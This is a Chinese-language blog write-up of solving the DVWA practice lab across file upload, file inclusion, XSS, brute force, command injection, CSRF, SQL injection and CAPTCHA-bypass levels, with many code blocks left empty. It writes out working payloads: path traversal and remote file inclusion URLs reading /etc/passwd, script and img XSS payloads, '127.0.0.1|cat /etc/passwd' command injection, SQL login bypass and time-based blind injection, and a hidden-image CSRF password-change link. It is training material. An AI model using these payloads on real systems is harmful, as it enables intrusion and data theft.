DVWA学习
前言
在B站看到了这个40集的web安全渗透教程,便看 了下,前半部分是以DVWA靶场为实验讲解,后半段是讲的工具使用,在实战过程中大流量工具用途不大。我就简单的了解了一下,此处没有进行记录。本文主要是刷DVWA
靶场记录。
1 | DVWA共有十个模块 |
资源
视频资源:哔哩哔哩
网盘资源:链接地址
靶机下载:owaspbwa
文件上传实验
环境
DVWA
靶场
实验一
级别:low
,无过滤,直接上传php
文件
1 |
|
实验二
级别:Medium
,判断MINE值,上传图片,抓包修改后缀
1 |
|
实验三
级别:high
,上传图片马结合文件包含利用
1 |
|
文件包含实验
前言
1 | File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。 |
实验一
级别:low
代码
1 |
|
解题方法1
2
3http:/xxxx/vulnerabilities/fi/?page=/etc/passwd
http://xxxx/vulnerabilities/fi/?page=/var/www/html/hackable/uploads/low1.jpg
http://xxxx/vulnerabilities/fi/?page=http://xxxx/1.txt
1 |
|
实验二
级别:medium
代码
1 |
|
过滤了下面字符,所以对采用绝对路径的方式包含文件是不会受到任何限制的
1 | http:// , https:// , ../ , ..\ |
方法:
1 | http://xxx/vulnerabilities/fi/?page=..././..././hackable/uploads/1.txt |
实验三
代码
1 |
|
High级别的代码规定只能包含file开头的文件,可以利用file协议绕过防护策略。
- Tips:因为fnmatch函数适用于PHP >= 4.3.0,因此php版本高于这个才能利用,否则会出现打不开high等级页面。
方法
1 | http://xxx/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/1.txt |
参考文章
XSS实验
反射型XSS
常用的HTML标签
1 | <iframe> |
常用javaScript
方法
1 | atert |
LOW级别
代码
1 |
|
- payload
1 | <script>alert(1)</script> |
medium级别
1 |
|
使用str_replace
函数将输入中的<script>
替换为空
- payload
1 | 1.大小写绕过: |
high级别
代码
1 | <?php |
preg_replace()
函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。通过img
、body
等标签的事件或者iframe
、src
等标签的构造可利用的js
代码。
- payload
1 | 1.使用 img 标签和其编码转换后的 XSS payload |
存储型XSS
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
low级别
代码
1 |
|
相关函数介绍
1 | trim(string,charlist) |
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括\0、\t、\n、\x0B、\r
以及空格,可选参数charlist
支持添加额外需要删除的字符。
1 | mysqli_real_escape_string(string,connection) |
函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)
进行转义。
1 | stripslashes(string) |
函数删除字符串中的反斜杠。
- payload
1 | message栏的利用: |
medium级别
1 |
|
相关函数介绍
1 | strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。 |
- payload
1 | 1.双写绕过 |
high级别
1 |
|
- payload
1 | 正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS |
预防
PHP htmlspecialchars()
函数
把预定义的字符转换为HTML
实体:
1 | & (和号)成为 & |
可以看到,Impossible Security Level
的代码使用htmlspecialchars
函数把预定义的字符:
1 | & " ' < > |
转换为HTML
实体,防止浏览器将其作为HTML
元素。从而防治了反射型XSS
利用和危害。
参考文章
反射型xss博客
存储型xss博客
工具
kali
自带:BeEF
暴力破解
low级别
代码
1 |
|
sql注入
1 | $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; |
- payload
1 | admin'# |
爆破
抓包intruder模块爆破
medium级别
1 |
|
mysqli_real_escape_string()
会将转义特殊字符,一定程度上防止SQL
注入,sleep(2)降低了暴力破解速度,方法同low级别
high级别
代码
1 |
|
加入了token验证机制,我们每次登录时都必须提交一个token值,服务器将提交的token值与cookie或session中的token值对比,利用了mysql_real_escape_string
函数对$user
和$pass
进行了转义处理,防止了sql
注入 python脚本进行爆破
1 | from bs4 import BeautifulSoup |
参考文章
费星瑞博客:brute-force-dvwa
命令注入
前言
相关函数
stristr(string,search,before_search)
stristr
函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
search | 必需。规定要搜索的字符串。 |
如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。 | |
before_search | 可选。默认值为 “false” 的布尔值。 |
如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。 |
php_uname() 返回了运行 PHP 的操作系统的描述
参数 | 描述 |
---|---|
”a” | (此为默认,包含序列”s n r v m”里的所有模式) |
”s ” | (返回操作系统名称) |
”n” | (返回主机名) |
” r” | (返回版本名称) |
”v” | (返回版本信息) |
”m” | (返回机器类型)。 |
可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞
命令执行漏洞概念:当web应用程序需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数 在远程服务器上执行任意系统命令
常用命令执行函数
1 | exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数 |
漏洞利用及绕过姿势
1 | | 命令管道符 |
windows支持:di
1 | | 直接执行后面的语句 ping 127.0.0.1|whoami |
Linux支持:
1 | ; 前面的执行完执行后面的 ping 127.0.0.1;whoami |
low级别
代码
1 |
|
未过滤特殊字符
- payload
1 | 127.0.0.1|cat /etc/passwd |
medium级别
代码
1 |
|
str_replace()
函数替换字符串中的一些字符(区分大小写)
str_replace(find,replace,string,count)
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。一个变量,对替换数进行计数。 |
array_keys()
函数返回包含数组中所有键名的一个新数组
array_keys(array,value,strict)
参数 | 描述 |
---|---|
array | 必需。规定数组。 |
value | 可选。您可以指定键值,然后只有该键值对应的键名会被返回。 |
strict | 可选。与 value 参数一起使用。可能的值: |
true - 返回带有指定键值的键名。依赖类型,数字 5 与字符串 “5” 是不同的。 | |
false - 默认值。不依赖类型,数字 5 与字符串 “5” 是相同的。 |
1 | ”&&”与” &”的区别: |
- payload
1 | 过滤了&& ;将他们替换成了空 |
high级别
代码
1 |
|
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符
- payload
1 | 127.0.0.1|whoami |
stripslashes()
函数删除由 addslashes()
函数添加的反斜杠stripslashes
函数会删除字符串中的反斜杠,返回已剥离反斜杠的字符串
explode() 函数把字符串打散为数组
参数 | 描述 |
---|---|
separator | 必需。规定在哪里分割字符串。 |
string | 必需。要分割的字符串。 |
limit | 可选。规定所返回的数组元素的数目 |
is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
CSRF
前言
1 | CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用 |
low级别
1 |
|
检查参数password_new
与password_conf
是否相同,如果相同,就会修改密码,并没有任何的防CSRF
机制
- 漏洞利用
1 | 1.直接让受害者点击链接 |
1 | <img src="http://xxxx/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> |
medium级别
代码
1 |
|
- 相关函数
1 | int eregi(string pattern, string string) |
- 漏洞利用
过滤规则是http
包头的Referer
参数的值中必须包含主机名,html
攻击文件命名为,主机名.html
High级别
代码
1 |
|
代码加入了Anti-CSRF token
机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
利用参考:CSRF
SQL注入
基础知识
1 | 1.information_schema.tables:存储着MySql中的所有表。 |
low级别
1 |
|
- 漏洞利用
1 | sql语句 |
medium级别
代码
1 |
|
- 漏洞利用
1 | 查询语句 |
high级别
代码
1 |
|
- 漏洞利用
1 | 查询语句 |
- 数字型注入与字符型区别
当输入的内容为数字时,可能存在数字型注入,也可能存在字符型注入。区别在于,数字型不需要单引号来闭合,而字符型需要通过单引号来闭合的。
详细理解请参考博客:如何判断是字符型注入还是数字型注入
sql盲注
low级别
代码
1 |
|
- Low级别基于布尔的盲注思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
1 | 二分法猜解 |
穷举法爆破
- 表名
1 | #!/usr/bin/env python |
结果:
1 | 数据库名长度为:4 |
- 字段信息
1 | #!/usr/bin/env python |
结果:
1 | 字段数为:8 |
- 字段值
1 | #!/usr/bin/env python |
结果:
1 | users字段行数为:5 |
- 时间盲注
1 | 利用基于时间延迟的盲注进行操作。此时,需要结合if函数和sleep()函数来测试不同判断条件导致的延迟效果差异,如:1' and if(length(database())>10,sleep(5),1) # |
参考文章
2.DVWA全等级SQL Injection(Blind)盲注–手工测试过程解析
medium级别
代码
1 |
|
代码中有 mysql_real_escape_string
对特殊字符等进行转义,所以就用不了'
或"
之类的符号,带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询
High级别
1 |
|
高级是通过cookies 传参,还有个LIMIT 1
限制了条数,再有一个就是查询失败的时候会随机 sleep。对于LIMIT 1的限制输出记录数目,可以利用#
注释其限制;
验证码绕过
DVWA
报错
报错内容:
1 | reCAPTCHA API key missing from config file error |
方法:1
2
3
4
5
6
7
8
9在config.inc.php文件中找到下面代码并修改至即可
$_DVWA[ 'recaptcha_public_key' ] = ' ';
$_DVWA[ 'recaptcha_private_key' ] = ' ';
修改为
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
参考博客:DVWA报错解决
- docker搭建科学上网后访问不了靶场。
1 | low:直接提交,因为没输验证码,显示The CAPTCHA was incorrect. Please try again.,用burpsuite抓包,试下将step改为“2”,返回修改密码成功。 |